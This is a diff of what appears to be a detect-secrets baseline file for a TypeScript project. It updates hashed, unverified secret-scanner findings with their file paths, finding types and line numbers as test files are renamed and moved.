+ "src/channels/account-snapshot-fields.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/channels/account-snapshot-fields.test.ts", + "hashed_secret": "dfba7aade0868074c2861c98e2a9a92f3178a51b", + "is_verified": false, + "line_number": 10 + }, + { + "type": "Secret Keyword", + "filename": "src/channels/account-snapshot-fields.test.ts", + "hashed_secret": "071d3673192b4b44a84aa73ac9d00c155821303b", + "is_verified": false, + "line_number": 11 } ], "src/channels/plugins/plugins-channel.test.ts": [ @@ -11842,16 +12689,98 @@ "filename": "src/channels/plugins/plugins-channel.test.ts", "hashed_secret": "99c962e8c62296bdc9a17f5caf91ce9bb4c7e0e6", "is_verified": false, - "line_number": 46 + "line_number": 64 } ], - "src/cli/program.smoke.e2e.test.ts": [ + "src/cli/acp-cli.option-collisions.test.ts": [ { "type": "Secret Keyword", - "filename": "src/cli/program.smoke.e2e.test.ts", - "hashed_secret": "8689a958b58e4a6f7da6211e666da8e17651697c", + "filename": "src/cli/acp-cli.option-collisions.test.ts", + "hashed_secret": "e5d0d3f3697f96d69545f36ab2eaf1f9d4e2a8f8", "is_verified": false, - "line_number": 215 + "line_number": 94 + }, + { + "type": "Secret Keyword", + "filename": "src/cli/acp-cli.option-collisions.test.ts", + "hashed_secret": "8eac0f7ffe62469bf88ebdb208115f1ce3567d07", + "is_verified": false, + "line_number": 106 + } + ], + "src/cli/command-secret-gateway.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/cli/command-secret-gateway.test.ts", + "hashed_secret": "68c46e84d76d2e7e686e5158bf598909abd4e45b", + "is_verified": false, + "line_number": 16 + }, + { + "type": "Secret Keyword", + "filename": "src/cli/command-secret-gateway.test.ts", + "hashed_secret": "3a20a67d6535d75cf0852a72a37e9c5a8fdb9976", + "is_verified": false, + "line_number": 120 + } + ], + "src/cli/config-cli.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/cli/config-cli.test.ts", + "hashed_secret": "e774aaeac31c6272107ba89080295e277050fa7c", + "is_verified": false, + "line_number": 200 + } + ], + "src/cli/daemon-cli/register-service-commands.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/cli/daemon-cli/register-service-commands.test.ts", + "hashed_secret": "d717176567cedb0012b6b5f4653f688bbb9ccb8b", + "is_verified": false, + "line_number": 67 + } + ], + "src/cli/daemon-cli/status.gather.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/cli/daemon-cli/status.gather.test.ts", + "hashed_secret": "c09520299bf32111c9f2ebafaf5a9981ec51a91d", + "is_verified": false, + "line_number": 208 + } + ], + "src/cli/program/register.onboard.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/cli/program/register.onboard.test.ts", + "hashed_secret": "5da1c2e689ee66cf379bc74d3eafd0460db70ca0", + "is_verified": false, + "line_number": 126 + } + ], + "src/cli/qr-cli.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/cli/qr-cli.test.ts", + "hashed_secret": "8fc5be300f480d027174b514b563e77548b636f2", + "is_verified": false, + "line_number": 207 + }, + { + "type": "Secret Keyword", + "filename": "src/cli/qr-cli.test.ts", + "hashed_secret": "f1355ae408e2068355dad8f3a503c2eaedefc0c6", + "is_verified": false, + "line_number": 235 + }, + { + "type": "Secret Keyword", + "filename": "src/cli/qr-cli.test.ts", + "hashed_secret": "4316c1b21634c0e3f4d53bfb3ca2f48dde69bc4e", + "is_verified": false, + "line_number": 290 } ], "src/cli/update-cli.test.ts": [ @@ -11860,51 +12789,64 @@ "filename": "src/cli/update-cli.test.ts", "hashed_secret": "e4f91dd323bac5bfc4f60a6e433787671dc2421d", "is_verified": false, - "line_number": 239 + "line_number": 277 } ], - "src/commands/auth-choice.e2e.test.ts": [ + "src/commands/auth-choice.apply-helpers.test.ts": [ { "type": "Secret Keyword", - "filename": "src/commands/auth-choice.e2e.test.ts", - "hashed_secret": "2480500ff391183070fe22ba8665a8be19350833", + "filename": "src/commands/auth-choice.apply-helpers.test.ts", + "hashed_secret": "69449f994d55805535b9e8fab16f6c39934e9ba4", "is_verified": false, - "line_number": 454 + "line_number": 105 }, { "type": "Secret Keyword", - "filename": "src/commands/auth-choice.e2e.test.ts", - "hashed_secret": "844ae5308654406d80db6f2b3d0beb07d616f9e1", + "filename": "src/commands/auth-choice.apply-helpers.test.ts", + "hashed_secret": "bea2f7b64fab8d1d414d0449530b1e088d36d5b1", "is_verified": false, - "line_number": 487 + "line_number": 111 }, { "type": "Secret Keyword", - "filename": "src/commands/auth-choice.e2e.test.ts", - "hashed_secret": "77e991e9f56e6fa4ed1a908208048421f1214c07", + "filename": "src/commands/auth-choice.apply-helpers.test.ts", + "hashed_secret": "d23a3625f8598b9cd747e74c1f1676f5ba7be530", "is_verified": false, - "line_number": 549 + "line_number": 330 + } + ], + "src/commands/auth-choice.apply.minimax.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/commands/auth-choice.apply.minimax.test.ts", + "hashed_secret": "69449f994d55805535b9e8fab16f6c39934e9ba4", + "is_verified": false, + "line_number": 162 }, { "type": "Secret Keyword", - "filename": "src/commands/auth-choice.e2e.test.ts", - "hashed_secret": "266e955b27b5fc2c2f532e446f2e71c3667a4cd9", + "filename": "src/commands/auth-choice.apply.minimax.test.ts", + "hashed_secret": "c090713b544ae4cabb48f2153079955947c6e013", "is_verified": false, - "line_number": 584 - }, + "line_number": 175 + } + ], + "src/commands/auth-choice.apply.openai.test.ts": [ { "type": "Secret Keyword", - "filename": "src/commands/auth-choice.e2e.test.ts", - "hashed_secret": "1b4d8423b11d32dd0c466428ac81de84a4a9442b", + "filename": "src/commands/auth-choice.apply.openai.test.ts", + "hashed_secret": "c5831e54ef6edcf968300daf4a9a84580bc2ed37", "is_verified": false, - "line_number": 726 - }, + "line_number": 31 + } + ], + "src/commands/auth-choice.apply.volcengine-byteplus.test.ts": [ { "type": "Secret Keyword", - "filename": "src/commands/auth-choice.e2e.test.ts", - "hashed_secret": "c24e00b94c972ed497d5961212ac96f0dffb4f7a", + "filename": "src/commands/auth-choice.apply.volcengine-byteplus.test.ts", + "hashed_secret": "69449f994d55805535b9e8fab16f6c39934e9ba4", "is_verified": false, - "line_number": 798 + "line_number": 55 } ], "src/commands/auth-choice.preferred-provider.ts": [ @@ -11916,84 +12858,182 @@ "line_number": 8 } ], - "src/commands/configure.gateway-auth.e2e.test.ts": [ + "src/commands/auth-choice.test.ts": [ { "type": "Secret Keyword", - "filename": "src/commands/configure.gateway-auth.e2e.test.ts", - "hashed_secret": "e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4", + "filename": "src/commands/auth-choice.test.ts", + "hashed_secret": "69449f994d55805535b9e8fab16f6c39934e9ba4", "is_verified": false, - "line_number": 21 + "line_number": 679 }, { "type": "Secret Keyword", - "filename": "src/commands/configure.gateway-auth.e2e.test.ts", - "hashed_secret": "d5d4cd07616a542891b7ec2d0257b3a24b69856e", + "filename": "src/commands/auth-choice.test.ts", + "hashed_secret": "c5831e54ef6edcf968300daf4a9a84580bc2ed37", "is_verified": false, - "line_number": 62 - } - ], - "src/commands/daemon-install-helpers.e2e.test.ts": [ + "line_number": 745 + }, { "type": "Secret Keyword", - "filename": "src/commands/daemon-install-helpers.e2e.test.ts", + "filename": "src/commands/auth-choice.test.ts", + "hashed_secret": "844ae5308654406d80db6f2b3d0beb07d616f9e1", + "is_verified": false, + "line_number": 955 + }, + { + "type": "Secret Keyword", + "filename": "src/commands/auth-choice.test.ts", + "hashed_secret": "1c62e8a666fb3e1b8c9b0c1cab8e1d6bbb136580", + "is_verified": false, + "line_number": 1065 + }, + { + "type": "Secret Keyword", + "filename": "src/commands/auth-choice.test.ts", + "hashed_secret": "1b4d8423b11d32dd0c466428ac81de84a4a9442b", + "is_verified": false, + "line_number": 1222 + }, + { + "type": "Secret Keyword", + "filename": "src/commands/auth-choice.test.ts", + "hashed_secret": "c24e00b94c972ed497d5961212ac96f0dffb4f7a", + "is_verified": false, + "line_number": 1234 + } + ], + "src/commands/channels.config-only-status-output.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/commands/channels.config-only-status-output.test.ts", + "hashed_secret": "dfba7aade0868074c2861c98e2a9a92f3178a51b", + "is_verified": false, + "line_number": 149 + }, + { + "type": "Secret Keyword", + "filename": "src/commands/channels.config-only-status-output.test.ts", + "hashed_secret": "071d3673192b4b44a84aa73ac9d00c155821303b", + "is_verified": false, + "line_number": 150 + } + ], + "src/commands/configure.gateway-auth.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/commands/configure.gateway-auth.test.ts", + "hashed_secret": "e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4", + "is_verified": false, + "line_number": 24 + }, + { + "type": "Secret Keyword", + "filename": "src/commands/configure.gateway-auth.test.ts", + "hashed_secret": "d5d4cd07616a542891b7ec2d0257b3a24b69856e", + "is_verified": false, + "line_number": 65 + } + ], + "src/commands/daemon-install-helpers.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/commands/daemon-install-helpers.test.ts", "hashed_secret": "3acfb2c2b433c0ea7ff107e33df91b18e52f960f", "is_verified": false, "line_number": 128 } ], + "src/commands/doctor-gateway-auth-token.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/commands/doctor-gateway-auth-token.test.ts", + "hashed_secret": "f1355ae408e2068355dad8f3a503c2eaedefc0c6", + "is_verified": false, + "line_number": 166 + }, + { + "type": "Secret Keyword", + "filename": "src/commands/doctor-gateway-auth-token.test.ts", + "hashed_secret": "0b75f28abf6b39a10d1398ce5a95e93a5cebbbda", + "is_verified": false, + "line_number": 206 + } + ], "src/commands/doctor-memory-search.test.ts": [ { "type": "Secret Keyword", "filename": "src/commands/doctor-memory-search.test.ts", "hashed_secret": "2e07956ffc9bc4fd624064c40b7495c85d5f1467", "is_verified": false, - "line_number": 38 - } - ], - "src/commands/model-picker.e2e.test.ts": [ + "line_number": 43 + }, { "type": "Secret Keyword", - "filename": "src/commands/model-picker.e2e.test.ts", + "filename": "src/commands/doctor-memory-search.test.ts", + "hashed_secret": "e774aaeac31c6272107ba89080295e277050fa7c", + "is_verified": false, + "line_number": 278 + } + ], + "src/commands/doctor.warns-state-directory-is-missing.e2e.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/commands/doctor.warns-state-directory-is-missing.e2e.test.ts", + "hashed_secret": "f3c7399f056377fc3dae16a9854fe636b720d3d0", + "is_verified": false, + "line_number": 98 + } + ], + "src/commands/gateway-install-token.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/commands/gateway-install-token.test.ts", + "hashed_secret": "f3c7399f056377fc3dae16a9854fe636b720d3d0", + "is_verified": false, + "line_number": 143 + } + ], + "src/commands/gateway-status/helpers.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/commands/gateway-status/helpers.test.ts", + "hashed_secret": "1e1ff291f3b48b7e5b54828396f264ba43379076", + "is_verified": false, + "line_number": 183 + } + ], + "src/commands/message.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/commands/message.test.ts", + "hashed_secret": "3bb1ec510d35ab2af7d05d8bbd5f0820333f1a0d", + "is_verified": false, + "line_number": 194 + } + ], + "src/commands/model-picker.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/commands/model-picker.test.ts", "hashed_secret": "5b924ca5330ede58702a5b0e414207b90fb1aef3", "is_verified": false, - "line_number": 127 + "line_number": 105 } ], - "src/commands/models/list.status.e2e.test.ts": [ + "src/commands/onboard-auth.config-core.kilocode.test.ts": [ { - "type": "Base64 High Entropy String", - "filename": "src/commands/models/list.status.e2e.test.ts", - "hashed_secret": "d6ae2508a78a232d5378ef24b85ce40cbb4d7ff0", + "type": "Secret Keyword", + "filename": "src/commands/onboard-auth.config-core.kilocode.test.ts", + "hashed_secret": "01800a0712a2a1aa928b95c4745e9ee06673925b", "is_verified": false, - "line_number": 12 - }, - { - "type": "Base64 High Entropy String", - "filename": "src/commands/models/list.status.e2e.test.ts", - "hashed_secret": "2d8012102440ea97852b3152239218f00579bafa", - "is_verified": false, - "line_number": 19 - }, - { - "type": "Base64 High Entropy String", - "filename": "src/commands/models/list.status.e2e.test.ts", - "hashed_secret": "51848e2be4b461a549218d3167f19c01be6b98b8", - "is_verified": false, - "line_number": 51 + "line_number": 163 }, { "type": "Secret Keyword", - "filename": "src/commands/models/list.status.e2e.test.ts", - "hashed_secret": "51848e2be4b461a549218d3167f19c01be6b98b8", + "filename": "src/commands/onboard-auth.config-core.kilocode.test.ts", + "hashed_secret": "8d2ce71c6723bf46f6c166984b4ddb597f92322a", "is_verified": false, - "line_number": 51 - }, - { - "type": "Secret Keyword", - "filename": "src/commands/models/list.status.e2e.test.ts", - "hashed_secret": "1c1e381bfb72d3b7bfca9437053d9875356680f0", - "is_verified": false, - "line_number": 57 + "line_number": 190 } ], "src/commands/onboard-auth.config-minimax.ts": [ @@ -12002,104 +13042,53 @@ "filename": "src/commands/onboard-auth.config-minimax.ts", "hashed_secret": "16c249e04e2be318050cb883c40137361c0c7209", "is_verified": false, - "line_number": 36 + "line_number": 37 }, { "type": "Secret Keyword", "filename": "src/commands/onboard-auth.config-minimax.ts", "hashed_secret": "ddcb713196b974770575a9bea5a4e7d46361f8e9", "is_verified": false, - "line_number": 78 + "line_number": 79 } ], - "src/commands/onboard-auth.e2e.test.ts": [ + "src/commands/onboard-auth.credentials.test.ts": [ { "type": "Secret Keyword", - "filename": "src/commands/onboard-auth.e2e.test.ts", - "hashed_secret": "e184b402822abc549b37689c84e8e0e33c39a1f1", + "filename": "src/commands/onboard-auth.credentials.test.ts", + "hashed_secret": "69449f994d55805535b9e8fab16f6c39934e9ba4", "is_verified": false, - "line_number": 272 - } - ], - "src/commands/onboard-custom.e2e.test.ts": [ - { - "type": "Secret Keyword", - "filename": "src/commands/onboard-custom.e2e.test.ts", - "hashed_secret": "62e6748c6bb4c4a0f785a28cdd7d41ef212c0091", - "is_verified": false, - "line_number": 238 - } - ], - "src/commands/onboard-non-interactive.provider-auth.e2e.test.ts": [ - { - "type": "Secret Keyword", - "filename": "src/commands/onboard-non-interactive.provider-auth.e2e.test.ts", - "hashed_secret": "fcdd655b11f33ba4327695084a347b2ba192976c", - "is_verified": false, - "line_number": 153 + "line_number": 97 }, { "type": "Secret Keyword", - "filename": "src/commands/onboard-non-interactive.provider-auth.e2e.test.ts", - "hashed_secret": "07a6b9cec637c806195e8aa7e5c0851ab03dc35e", + "filename": "src/commands/onboard-auth.credentials.test.ts", + "hashed_secret": "3fabe94b84be76552a40fab6d3284697b136ea23", + "is_verified": false, + "line_number": 139 + }, + { + "type": "Secret Keyword", + "filename": "src/commands/onboard-auth.credentials.test.ts", + "hashed_secret": "aec738f7a0d1056bee31567d522e7191a13ce31a", + "is_verified": false, + "line_number": 190 + }, + { + "type": "Secret Keyword", + "filename": "src/commands/onboard-auth.credentials.test.ts", + "hashed_secret": "9705dbfd5f922106b199746632af2b66b02c3f0a", "is_verified": false, "line_number": 191 - }, + } + ], + "src/commands/onboard-auth.test.ts": [ { "type": "Secret Keyword", - "filename": "src/commands/onboard-non-interactive.provider-auth.e2e.test.ts", - "hashed_secret": "77e991e9f56e6fa4ed1a908208048421f1214c07", + "filename": "src/commands/onboard-auth.test.ts", + "hashed_secret": "e184b402822abc549b37689c84e8e0e33c39a1f1", "is_verified": false, - "line_number": 234 - }, - { - "type": "Secret Keyword", - "filename": "src/commands/onboard-non-interactive.provider-auth.e2e.test.ts", - "hashed_secret": "65547299f940eca3dc839f3eac85e8a78a6deb05", - "is_verified": false, - "line_number": 282 - }, - { - "type": "Secret Keyword", - "filename": "src/commands/onboard-non-interactive.provider-auth.e2e.test.ts", - "hashed_secret": "2833d098c110602e4c8d577fbfdb423a9ffd58e9", - "is_verified": false, - "line_number": 304 - }, - { - "type": "Secret Keyword", - "filename": "src/commands/onboard-non-interactive.provider-auth.e2e.test.ts", - "hashed_secret": "266e955b27b5fc2c2f532e446f2e71c3667a4cd9", - "is_verified": false, - "line_number": 338 - }, - { - "type": "Secret Keyword", - "filename": "src/commands/onboard-non-interactive.provider-auth.e2e.test.ts", - "hashed_secret": "995b80728ee01edb90ddfed07870bbab405df19f", - "is_verified": false, - "line_number": 366 - }, - { - "type": "Secret Keyword", - "filename": "src/commands/onboard-non-interactive.provider-auth.e2e.test.ts", - "hashed_secret": "b65888424ecafcc98bfd803b24817e4dadf821f8", - "is_verified": false, - "line_number": 383 - }, - { - "type": "Secret Keyword", - "filename": "src/commands/onboard-non-interactive.provider-auth.e2e.test.ts", - "hashed_secret": "62e6748c6bb4c4a0f785a28cdd7d41ef212c0091", - "is_verified": false, - "line_number": 402 - }, - { - "type": "Secret Keyword", - "filename": "src/commands/onboard-non-interactive.provider-auth.e2e.test.ts", - "hashed_secret": "8818d3b7c102fd6775af9e1390e5ed3a128473fb", - "is_verified": false, - "line_number": 447 + "line_number": 423 } ], "src/commands/onboard-non-interactive/api-keys.ts": [ @@ -12108,7 +13097,7 @@ "filename": "src/commands/onboard-non-interactive/api-keys.ts", "hashed_secret": "112f3a99b283a4e1788dedd8e0e5d35375c33747", "is_verified": false, - "line_number": 11 + "line_number": 12 } ], "src/commands/status.update.test.ts": [ @@ -12129,13 +13118,13 @@ "line_number": 60 } ], - "src/commands/zai-endpoint-detect.e2e.test.ts": [ + "src/commands/zai-endpoint-detect.test.ts": [ { "type": "Secret Keyword", - "filename": "src/commands/zai-endpoint-detect.e2e.test.ts", + "filename": "src/commands/zai-endpoint-detect.test.ts", "hashed_secret": "e9a5f12a8ecbb3eb46eca5096b5c52aa5e7c9fdd", "is_verified": false, - "line_number": 24 + "line_number": 61 } ], "src/config/config-misc.test.ts": [ @@ -12144,7 +13133,7 @@ "filename": "src/config/config-misc.test.ts", "hashed_secret": "3acfb2c2b433c0ea7ff107e33df91b18e52f960f", "is_verified": false, - "line_number": 62 + "line_number": 102 } ], "src/config/config.env-vars.test.ts": [ @@ -12188,20 +13177,71 @@ "line_number": 33 } ], + "src/config/config.web-search-provider.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/config/config.web-search-provider.test.ts", + "hashed_secret": "3acfb2c2b433c0ea7ff107e33df91b18e52f960f", + "is_verified": false, + "line_number": 19 + }, + { + "type": "Secret Keyword", + "filename": "src/config/config.web-search-provider.test.ts", + "hashed_secret": "a704b0feaf024ae73cda6859104dd323bc36b451", + "is_verified": false, + "line_number": 78 + }, + { + "type": "Secret Keyword", + "filename": "src/config/config.web-search-provider.test.ts", + "hashed_secret": "6984b2d1edb45c9ba5de8d29e9cd9a2613c6a170", + "is_verified": false, + "line_number": 83 + }, + { + "type": "Secret Keyword", + "filename": "src/config/config.web-search-provider.test.ts", + "hashed_secret": "bfe8fe037d4fe1aa6c0aeecf94efe2ebc265c6f8", + "is_verified": false, + "line_number": 88 + }, + { + "type": "Secret Keyword", + "filename": "src/config/config.web-search-provider.test.ts", + "hashed_secret": "4ee210c6480582752ad7f74c74bd63a3d4531e51", + "is_verified": false, + "line_number": 93 + }, + { + "type": "Secret Keyword", + "filename": "src/config/config.web-search-provider.test.ts", + "hashed_secret": "6d166fccc1c1a5193f7f7397705c84a184d68c0e", + "is_verified": false, + "line_number": 98 + }, + { + "type": "Secret Keyword", + "filename": "src/config/config.web-search-provider.test.ts", + "hashed_secret": "0f7f0fad47a1470a44be65dac2b848a99e28302c", + "is_verified": false, + "line_number": 108 + } + ], "src/config/env-preserve-io.test.ts": [ { "type": "Secret Keyword", "filename": "src/config/env-preserve-io.test.ts", "hashed_secret": "85639f0560fd9bf8704f52e01c5e764c9ed5a6aa", "is_verified": false, - "line_number": 59 + "line_number": 31 }, { "type": "Secret Keyword", "filename": "src/config/env-preserve-io.test.ts", "hashed_secret": "996650087ab48bdb1ca80f0842c97d4fbb6f1c71", "is_verified": false, - "line_number": 86 + "line_number": 75 } ], "src/config/env-preserve.test.ts": [ @@ -12240,28 +13280,37 @@ "filename": "src/config/env-substitution.test.ts", "hashed_secret": "f2b14f68eb995facb3a1c35287b778d5bd785511", "is_verified": false, - "line_number": 37 + "line_number": 80 }, { "type": "Secret Keyword", "filename": "src/config/env-substitution.test.ts", "hashed_secret": "ec417f567082612f8fd6afafe1abcab831fca840", "is_verified": false, - "line_number": 68 + "line_number": 100 }, { "type": "Secret Keyword", "filename": "src/config/env-substitution.test.ts", "hashed_secret": "520bd69c3eb1646d9a78181ecb4c90c51fdf428d", "is_verified": false, - "line_number": 69 + "line_number": 101 }, { "type": "Secret Keyword", "filename": "src/config/env-substitution.test.ts", "hashed_secret": "f136444bf9b3d01a9f9b772b80ac6bf7b6a43ef0", "is_verified": false, - "line_number": 227 + "line_number": 282 + } + ], + "src/config/io.runtime-snapshot-write.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/config/io.runtime-snapshot-write.test.ts", + "hashed_secret": "c7106700045d8a274b6702325ecf9bcb60d42318", + "is_verified": false, + "line_number": 34 } ], "src/config/io.write-config.test.ts": [ @@ -12270,7 +13319,7 @@ "filename": "src/config/io.write-config.test.ts", "hashed_secret": "13951588fd3325e25ed1e3b116d7009fb221c85e", "is_verified": false, - "line_number": 65 + "line_number": 289 } ], "src/config/model-alias-defaults.test.ts": [ @@ -12279,107 +13328,163 @@ "filename": "src/config/model-alias-defaults.test.ts", "hashed_secret": "e9a5f12a8ecbb3eb46eca5096b5c52aa5e7c9fdd", "is_verified": false, - "line_number": 66 - } - ], - "src/config/redact-snapshot.test.ts": [ - { - "type": "Base64 High Entropy String", - "filename": "src/config/redact-snapshot.test.ts", - "hashed_secret": "3732e17b2d11ed6c64fef02c341958007af154e7", - "is_verified": false, - "line_number": 77 + "line_number": 13 }, { "type": "Secret Keyword", - "filename": "src/config/redact-snapshot.test.ts", - "hashed_secret": "3732e17b2d11ed6c64fef02c341958007af154e7", + "filename": "src/config/model-alias-defaults.test.ts", + "hashed_secret": "fa9144b340ea7886885669e2e7a808c86ee14a07", "is_verified": false, - "line_number": 77 - }, + "line_number": 114 + } + ], + "src/config/redact-snapshot.test.ts": [ { "type": "Secret Keyword", "filename": "src/config/redact-snapshot.test.ts", "hashed_secret": "7f413afd37447cd321d79286be0f58d7a9875d9b", "is_verified": false, - "line_number": 89 - }, - { - "type": "Secret Keyword", - "filename": "src/config/redact-snapshot.test.ts", - "hashed_secret": "c21afa950dee2a70f3e0f6ffdfbc87f8edb90262", - "is_verified": false, - "line_number": 99 - }, - { - "type": "Secret Keyword", - "filename": "src/config/redact-snapshot.test.ts", - "hashed_secret": "83a9937c6de261ffda22304834f30fe6c8f97926", - "is_verified": false, - "line_number": 110 - }, - { - "type": "Secret Keyword", - "filename": "src/config/redact-snapshot.test.ts", - "hashed_secret": "87ac76dfc9cba93bead43c191e31bd099a97cc11", - "is_verified": false, - "line_number": 198 + "line_number": 78 }, { "type": "Secret Keyword", "filename": "src/config/redact-snapshot.test.ts", "hashed_secret": "abb1aabcd0e49019c2873944a40671a80ccd64c7", "is_verified": false, - "line_number": 309 + "line_number": 84 + }, + { + "type": "Secret Keyword", + "filename": "src/config/redact-snapshot.test.ts", + "hashed_secret": "83a9937c6de261ffda22304834f30fe6c8f97926", + "is_verified": false, + "line_number": 88 + }, + { + "type": "Secret Keyword", + "filename": "src/config/redact-snapshot.test.ts", + "hashed_secret": "c21afa950dee2a70f3e0f6ffdfbc87f8edb90262", + "is_verified": false, + "line_number": 91 + }, + { + "type": "Base64 High Entropy String", + "filename": "src/config/redact-snapshot.test.ts", + "hashed_secret": "3732e17b2d11ed6c64fef02c341958007af154e7", + "is_verified": false, + "line_number": 95 + }, + { + "type": "Secret Keyword", + "filename": "src/config/redact-snapshot.test.ts", + "hashed_secret": "3732e17b2d11ed6c64fef02c341958007af154e7", + "is_verified": false, + "line_number": 95 + }, + { + "type": "Private Key", + "filename": "src/config/redact-snapshot.test.ts", + "hashed_secret": "1348b145fa1a555461c1b790a2f66614781091e9", + "is_verified": false, + "line_number": 123 + }, + { + "type": "Secret Keyword", + "filename": "src/config/redact-snapshot.test.ts", + "hashed_secret": "87ac76dfc9cba93bead43c191e31bd099a97cc11", + "is_verified": false, + "line_number": 227 + }, + { + "type": "Secret Keyword", + "filename": "src/config/redact-snapshot.test.ts", + "hashed_secret": "939bb46a04c3640c8c427e92b1b557e882e2d2a0", + "is_verified": false, + "line_number": 262 + }, + { + "type": "Secret Keyword", + "filename": "src/config/redact-snapshot.test.ts", + "hashed_secret": "7505d64a54e061b7acd54ccd58b49dc43500b635", + "is_verified": false, + "line_number": 302 }, { "type": "Base64 High Entropy String", "filename": "src/config/redact-snapshot.test.ts", "hashed_secret": "8e22880b4e96bab354e1da6c91d2f58dabde3555", "is_verified": false, - "line_number": 321 + "line_number": 397 }, { "type": "Secret Keyword", "filename": "src/config/redact-snapshot.test.ts", "hashed_secret": "8e22880b4e96bab354e1da6c91d2f58dabde3555", "is_verified": false, - "line_number": 321 + "line_number": 397 }, { "type": "Secret Keyword", "filename": "src/config/redact-snapshot.test.ts", "hashed_secret": "a9c732e05044a08c760cce7f6d142cd0d35a19e5", "is_verified": false, - "line_number": 375 + "line_number": 455 }, { "type": "Secret Keyword", "filename": "src/config/redact-snapshot.test.ts", "hashed_secret": "50843dd5651cfafbe7c5611c1eed195c63e6e3fd", "is_verified": false, - "line_number": 691 + "line_number": 771 + }, + { + "type": "Secret Keyword", + "filename": "src/config/redact-snapshot.test.ts", + "hashed_secret": "22edfa62d61f01fead87e40562f8c8a51caa2806", + "is_verified": false, + "line_number": 783 + }, + { + "type": "Secret Keyword", + "filename": "src/config/redact-snapshot.test.ts", + "hashed_secret": "33e65bb7ffff7e05b434318409b212f8724bc961", + "is_verified": false, + "line_number": 806 + }, + { + "type": "Secret Keyword", + "filename": "src/config/redact-snapshot.test.ts", + "hashed_secret": "dc2e131fd7ef4cf84345ad7f6c92c3d656051ede", + "is_verified": false, + "line_number": 831 + }, + { + "type": "Secret Keyword", + "filename": "src/config/redact-snapshot.test.ts", + "hashed_secret": "0834708d0ed84f1d023353afc867fb0a4e5ebfea", + "is_verified": false, + "line_number": 838 }, { "type": "Secret Keyword", "filename": "src/config/redact-snapshot.test.ts", "hashed_secret": "927e7cdedcb8f71af399a49fb90a381df8b8df28", "is_verified": false, - "line_number": 808 + "line_number": 1007 }, { "type": "Secret Keyword", "filename": "src/config/redact-snapshot.test.ts", "hashed_secret": "1996cc327bd39dad69cd8feb24250dafd51e7c08", "is_verified": false, - "line_number": 814 + "line_number": 1013 }, { "type": "Secret Keyword", "filename": "src/config/redact-snapshot.test.ts", "hashed_secret": "a5c0a65a4fa8874a486aa5072671927ceba82a90", "is_verified": false, - "line_number": 838 + "line_number": 1037 } ], "src/config/schema.help.ts": [ @@ -12388,14 +13493,14 @@ "filename": "src/config/schema.help.ts", "hashed_secret": "9f4cda226d3868676ac7f86f59e4190eb94bd208", "is_verified": false, - "line_number": 647 + "line_number": 649 }, { "type": "Secret Keyword", "filename": "src/config/schema.help.ts", "hashed_secret": "01822c8bbf6a8b136944b14182cb885100ec2eae", "is_verified": false, - "line_number": 678 + "line_number": 680 } ], "src/config/schema.irc.ts": [ @@ -12434,14 +13539,14 @@ "filename": "src/config/schema.labels.ts", "hashed_secret": "e73c9fcad85cd4eecc74181ec4bdb31064d68439", "is_verified": false, - "line_number": 104 + "line_number": 216 }, { "type": "Secret Keyword", "filename": "src/config/schema.labels.ts", "hashed_secret": "2eda7cd978f39eebec3bf03e4410a40e14167fff", "is_verified": false, - "line_number": 145 + "line_number": 324 } ], "src/config/slack-http-config.test.ts": [ @@ -12453,6 +13558,31 @@ "line_number": 10 } ], + "src/config/talk.normalize.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/config/talk.normalize.test.ts", + "hashed_secret": "dff6d4ff5dc357cf451d1855ab9cbda562645c9f", + "is_verified": false, + "line_number": 30 + }, + { + "type": "Secret Keyword", + "filename": "src/config/talk.normalize.test.ts", + "hashed_secret": "653d2545f6d16efa76ad7740bab466e175c4efd3", + "is_verified": false, + "line_number": 101 + } + ], + "src/config/telegram-webhook-port.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/config/telegram-webhook-port.test.ts", + "hashed_secret": "e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4", + "is_verified": false, + "line_number": 10 + } + ], "src/config/telegram-webhook-secret.test.ts": [ { "type": "Secret Keyword", @@ -12462,13 +13592,20 @@ "line_number": 10 } ], - "src/docker-setup.test.ts": [ + "src/docker-setup.e2e.test.ts": [ { "type": "Base64 High Entropy String", - "filename": "src/docker-setup.test.ts", + "filename": "src/docker-setup.e2e.test.ts", "hashed_secret": "32ac33b537769e97787f70ef85576cc243fab934", "is_verified": false, - "line_number": 131 + "line_number": 178 + }, + { + "type": "Base64 High Entropy String", + "filename": "src/docker-setup.e2e.test.ts", + "hashed_secret": "299e5b3d10d301eb479c0b84b16d750cb799e274", + "is_verified": false, + "line_number": 250 } ], "src/gateway/auth-rate-limit.ts": [ @@ -12477,7 +13614,7 @@ "filename": "src/gateway/auth-rate-limit.ts", "hashed_secret": "76ed0a056aa77060de25754586440cff390791d0", "is_verified": false, - "line_number": 37 + "line_number": 39 } ], "src/gateway/auth.test.ts": [ @@ -12486,88 +13623,241 @@ "filename": "src/gateway/auth.test.ts", "hashed_secret": "db5543cd7440bbdc4c5aaf8aa363715c31dd5a27", "is_verified": false, - "line_number": 32 + "line_number": 95 }, { "type": "Secret Keyword", "filename": "src/gateway/auth.test.ts", "hashed_secret": "d51f846285cbc6d1dd76677a0fd588c8df44e506", "is_verified": false, - "line_number": 48 + "line_number": 112 + }, + { + "type": "Secret Keyword", + "filename": "src/gateway/auth.test.ts", + "hashed_secret": "052f076c732648ab32d2fcde9fe255319bfa0c7b", + "is_verified": false, + "line_number": 128 }, { "type": "Secret Keyword", "filename": 